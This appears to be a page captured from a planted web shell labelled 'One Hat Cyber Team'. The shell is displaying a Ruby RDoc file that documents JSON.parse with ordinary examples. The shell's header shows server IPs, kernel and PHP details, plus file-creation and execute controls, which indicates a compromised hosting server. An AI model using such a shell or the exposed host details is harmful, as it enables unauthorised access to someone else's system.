⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
JSON
/
View File Name :
parse-i.ri
U:RDoc::AnyMethod[iI" parse:ETI"JSON#parse;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"DReturns the Ruby objects created by parsing the given +source+.;To:RDoc::Markup::BlankLine o; ; [I"9Argument +source+ contains the \String to be parsed.;T@o; ; [I"MArgument +opts+, if given, contains a \Hash of options for the parsing. ;TI"?See {Parsing Options}[#module-JSON-label-Parsing+Options].;T@S:RDoc::Markup::Rule:weighti@o; ; [I";When +source+ is a \JSON array, returns a Ruby \Array:;To:RDoc::Markup::Verbatim; [ I"0source = '["foo", 1.0, true, false, null]' ;TI"ruby = JSON.parse(source) ;TI".ruby # => ["foo", 1.0, true, false, nil] ;TI"ruby.class # => Array ;T:@format0o; ; [I";When +source+ is a \JSON object, returns a Ruby \Hash:;To;; [ I"Isource = '{"a": "foo", "b": 1.0, "c": true, "d": false, "e": null}' ;TI"ruby = JSON.parse(source) ;TI"Gruby # => {"a"=>"foo", "b"=>1.0, "c"=>true, "d"=>false, "e"=>nil} ;TI"ruby.class # => Hash ;T;0o; ; [I";For examples of parsing for all \JSON data types, see ;TI"6{Parsing \JSON}[#module-JSON-label-Parsing+JSON].;T@o; ; [I" Parses nested JSON objects:;To;; [I"source = <<-EOT ;TI"{ ;TI""name": "Dave", ;TI" "age" :40, ;TI" "hats": [ ;TI" "Cattleman's", ;TI" "Panama", ;TI" "Tophat" ;TI" ] ;TI"} ;TI" EOT ;TI"ruby = JSON.parse(source) ;TI"Xruby # => {"name"=>"Dave", "age"=>40, "hats"=>["Cattleman's", "Panama", "Tophat"]} ;T;0S;; i@o; ; [I"7Raises an exception if +source+ is not valid JSON:;To;; [I"?# Raises JSON::ParserError (783: unexpected token at ''): ;TI"JSON.parse('');T;0: @fileI" ext/json/lib/json/common.rb;T:0@omit_headings_from_table_of_contents_below0I"(JSON.parse(source, opts) -> object ;T0[ I"(source, opts = {});T@GFI" JSON;TcRDoc::NormalModule00